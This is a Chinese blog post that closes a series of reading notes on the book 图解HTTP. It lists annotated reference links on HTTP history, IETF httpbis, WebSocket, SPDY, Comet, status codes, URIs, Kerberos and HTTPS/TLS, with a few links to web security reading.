The NCSA HTTPd Home Page(存档)http://web.archive.org/web/20090426182129/http://hoohoo.ncsa.illinois.edu/


(原址已失效)

N4、httpbis(Hypertext Transfer Protocol Bis)

负责互联网技术标准的 IETF(Internet Engineering Task Force,互联网 工程任务组)创立 httpbis(Hypertext Transfer Protocol Bis,http://datatracker.ietf.org/wg/httpbis/)工作组,其目标是推进下一 代 HTTP——HTTP/2.0 在 2014 年 11 月实现标准化。


其实 IETF 是互联网发展到现在不可或缺的角色,并不由任何一个公司或者组织,而是属于公开面向全世界可以加入讨论的类似“论坛”的东西,关于 HTTP 的协议和规范都是由它发表,也是标准的直接制定者。地位毋庸置疑。


地址:https://datatracker.ietf.org/wg/httpbis/about/


httpbis 可以看做是建立 HTTP 协议标准的工程组构建的一个网站。


Bis 的意思叫做,“bis”来自“两次”或“重复”。它用于表示某物的第二个变体(尽管通常只有小的变体,不需要新名称),在 HTTP 的上下文中,HTTPbis 是负责完善 HTTP 的工作组的名称。


其他解释:这个词(也用作前缀或后缀)bis,适用于一些现代协议标准,是古拉丁语,意为“重复”(akin to Old High German“twice”)。当协议以“bis”结尾时,这意味着它是该协议的第二个版本。 另外,ter 来自古拉丁语,意思是“三次”。

N5、RSS

如果你对 RSS 有兴趣,那么建议花点时间把下面几个文章看一遍:


N6、XSS

简单介绍 XSS 攻击以及缓解这些攻击的技术。


Types of attacks - Web security | MDN (mozilla.org)

N7、Websocket

有关 Websocket 的 API 参考部分:


WebSocket - Web API 接口参考 | MDN (mozilla.org)


以及一位阿里大佬介绍的 WebSocket 的内容,文章相关连接的参考资料比较有阅读价值,建议收藏之:


WebSocket协议:5分钟从入门到精通 - 程序猿小卡 - 博客园 (cnblogs.com)

N8、SPDY

这部分内容我们可以结合 HTTP2.0 进行扩展,因为是已经实现的东西,可以查看相关的新特性支持。


SPDY的参考网站: http://www.chromium.org/spdy/

N9、Comet

更加详细的讲述 Comet 这一项技术。


Comet技术详解:基于HTTP长连接的Web端实时通信技术 - 知乎 (zhihu.com)


关于更多 Comet 的百科和历史发展可以看下面的百科,本小节的内容也包含在百科内详细介绍:


Comet (programming) - Wikipedia

N10、HTTP 首部介绍

全面解读HTTP Cookie - 腾讯云开发者社区-腾讯云 (tencent.com)

N11、HTTP 状态代码备忘单

这里推荐两个网站:第一个网站:一个澳大利亚团队的自建博客,维护了有关 HTTP 的状态介绍,网站做的挺好看的。


网站地址:https://www.websiterating.com/zh-CN/resources/http-status-codes-cheat-sheet/#summary


图片下载地址:https://www.websiterating.com/wp-content/uploads/http-status-codes.png



第二个网站:也是类似网站,但是个人感觉排版做的不错。


网站地址:HTTP Status Codes Glossary - WebFX


https://www.websiterating.com/zh-CN/resources/http-status-codes-cheat-sheet/#summary


N12、负载的概念

个人不太理解为什么新协议要把实体换成负载这个概念,于是到下面这篇文章学习了一波:


https://www.zhihu.com/question/263752229


前三个回答基本能透彻了解到 HTTP 协议后续的发展中为什么要替换实体的概念为负载,以及在语义定义的内容。


另外本文所有内容建议用“负载”代替“实体”的概念,不要再用“实体”去看待实体。与时俱进嘛。

N13、内容协商概念参考

MDN 上面有关内容协商更为详细的解释:


https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Content_negotiation

N14、部分章节扩展阅读

介绍:


下面的内容是从各个章节抽取的一些零碎参考链接,并不是主要内容,可以选择阅读。

N14、0 HTTP 协议重点特性参考(推荐)

吃透 HTTP 协议其实只要看官方的协议原文足矣。


当然学习过程难以避免需要查资料,这里给了一些个人写文章的参考文章资料。


资料 1:HTTP/2 的官方介绍(官方的一手资料,定协议的作者写的,最权威的资料了)


RFC 9113 - HTTP/2 (httpwg.org)


资料 2:这篇英文博客用 5 分钟的时间快速讲述了 HTTP/3 的新特性,比较有意思的文章。


https://www.jesuisundev.com/en/understand-http3-in-5-minutes/


资料 3:总结的非常不错的用心的博客,写作日期比较接近,个人很多内容理解也参考自这篇博客。


(最系统、最全面)这一次,彻底搞懂HTTP面试 - 掘金 (juejin.cn)


资料 4:关于 HTTP 进化的一些历史讨论参考


https://segmentfault.com/a/1190000040631005


资料 5:有关 HTTP 的发展史参考


https://www.cnblogs.com/songyao666/p/16065502.html

N14.1、其他参考协议(原书第一章)

RFC3986


RFC2396 规范文本,目前已经废弃。请参考 RFC3986


RFC3986 中文对照翻译:RFC3986中文对照翻译RFC3986 协议原文:https://www.rfc-editor.org/rfc/rfc3986.html


IANA - Uniform Resource Identifier (URI) SCHEMES(统一资源标识符方案)(第一章)


标准的 URI 协议方案有 30 种左右,由隶属于 国际互联网资源管理的非营利社团 ICANN(Internet Corporation for Assigned Names and Numbers,互联网名称与数字地址分配机构)的 IANA(Internet Assigned Numbers Authority,互联网号码分配局)管理 颁布。


http://www.iana.org/assignments/uri-schemes

N14.2、Keberos 认证(第八章未介绍)

关于 Keberos 的认证参考博客,推荐阅读顺序 2、1、3:第一篇: https://www.roguelynn.com/words/explain-like-im-5-kerberos/第二篇:https://blog.csdn.net/sky_jiangcheng/article/details/81070240第三篇:https://zhuanlan.zhihu.com/p/266491528

N14.3、状态码[HTTP1.1](第四章补充)

注意本协议到本文协作为止最新协议为 HTTP3.0。但是目前还是 HTTP1.1 的状态码定义最为成熟,所以拿了 HTTP1.1 的介绍。


N15、HTTPS

下面的内容适合扩展阅读,由于本书涉及的内容比较入门,考虑读者阅读感受没有更加深入,这些资料个人都粗略或者认真看过一遍,都是不错的资料。


HTTPS - Wikipedia


Transport Layer Security - Wikipedia


看完这篇文章,我奶奶都懂了https的原理


彻底搞懂HTTPS的加密原理 - 知乎 (zhihu.com)


假如让你来设计SSL/TLS协议,你要怎么设计呢?-华为开发者论坛 (huawei.com)(优质文章)


The First Few Milliseconds of an HTTPS Connection (moserware.com)(优质文章)


TLS - SSL (Schannel SSP) Overview | Microsoft Docs


为什么 HTTPS 需要 7 次握手以及 9 倍时延 - 面向信仰编程 (draveness.me)

N16、优质博客或者网站

N16.1 RFC自动翻译文档的页面列表

针对词汇量较弱的同学可以中英对照翻译,建议英文拿 IETF 网站原文对照。


RFC自动翻译文档的页面列表


网站介绍:


  • 我们不保证翻译的准确性。 请务必将其与英文文本进行对照阅读。

  • 在极少数情况下,部分原文会被省略,因此请务必从右上角的“Orig”链接到原文阅读原文。

  • 当一个图形或表格跨越多个页面时,或者当它们之间有空白行时,有可能翻译不准确。

  • 关于翻译,由于 RFC 版权限制,仅发布 RFC 2220 或更高版本。

N16.2 HTTP 教學

一个台湾友人的技术博客。如果想要深入 HTTP 继续补充和学习可以看看网站的资料,个人看过之后都十分不错。


网址:https://notfalse.net/http-series

N16.3 Web安全学习笔记

作者是一位低调的大佬,2000 多 Star 足以证明质量。


网址:LyleMi/Learn-Web-Hacking: Study Notes For Web Hacking / Web安全学习笔记 (github.com)

总结

看完这本书收获还算挺大的,有了《网络是怎么样连接的》这本书的基础概念之后,看这本书看的很快,所以更多内容是针对书本的扩展和思考,另外学习过程中也查阅了非常多的资料,这里都放到附录里面了。


发布于: 刚刚阅读数: 8
用户头像

懒时小窝

关注

赐他一块白石,石头上写着新名 2020.09.23 加入

如果我们想要知道自己想要做什么,必须先找到自己的白色石头。欢迎关注个人公众号“懒时小窝”,不传播焦虑,只分享和思考有价值的内容。

评论

发布
暂无评论
终、《图解HTTP》读书笔记 - 汇总篇(总结)_读书笔记_懒时小窝_InfoQ写作社区